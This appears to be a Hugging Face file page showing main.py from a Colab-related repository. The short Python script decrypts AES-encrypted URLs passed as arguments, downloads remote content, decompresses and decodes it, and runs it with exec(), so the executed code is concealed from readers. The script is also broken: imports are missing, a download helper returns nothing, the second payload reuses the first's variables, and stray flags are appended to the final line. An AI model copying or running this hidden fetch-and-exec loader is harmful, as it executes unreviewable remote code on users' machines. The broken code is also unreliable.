colab-zuotu / main.py
emmajoanne's picture
Upload 5 files
40e7eb4
raw
history blame
1.12 kB
import sys
params = {}
for arg in sys.argv[1:]:
if arg.startswith('--'):
key_value = arg[len('--'):].split('=')
if len(key_value) == 2:
key, value = key_value
params[key] = value
def aes_decrypt(encrypted_text, key):
key = base64.b64decode(key)
cipher = AES.new(key, AES.MODE_ECB)
decrypted_text = unpad(cipher.decrypt(base64.b64decode(encrypted_text)), AES.block_size)
return decrypted_text.decode('utf-8')
def get_bytes(links):
response = requests.get(links)
if response.status_code == 200:
txt_bytes = response.content
with open('txt.bin', 'wb') as f:
f.write(txt_bytes)
main_links = aes_decrypt(params["main"], params["main_key"])
main_bytes = get_bytes(main_links)
main_code = base64.b64decode(zlib.decompress(main_bytes))
yd_links = aes_decrypt({params["yd"]}, params["yd_key"])
yd_bytes = get_bytes(main_links)
yd_code = base64.b64decode(zlib.decompress(main_bytes))
exec(main_code)
exec(yd_code) --dir=={dir} --share=={share} --cloudflared=={cloudflared} --localhostrun=={localhostrun} --remotemoe=={remotemoe} --ngrok=={ngrok}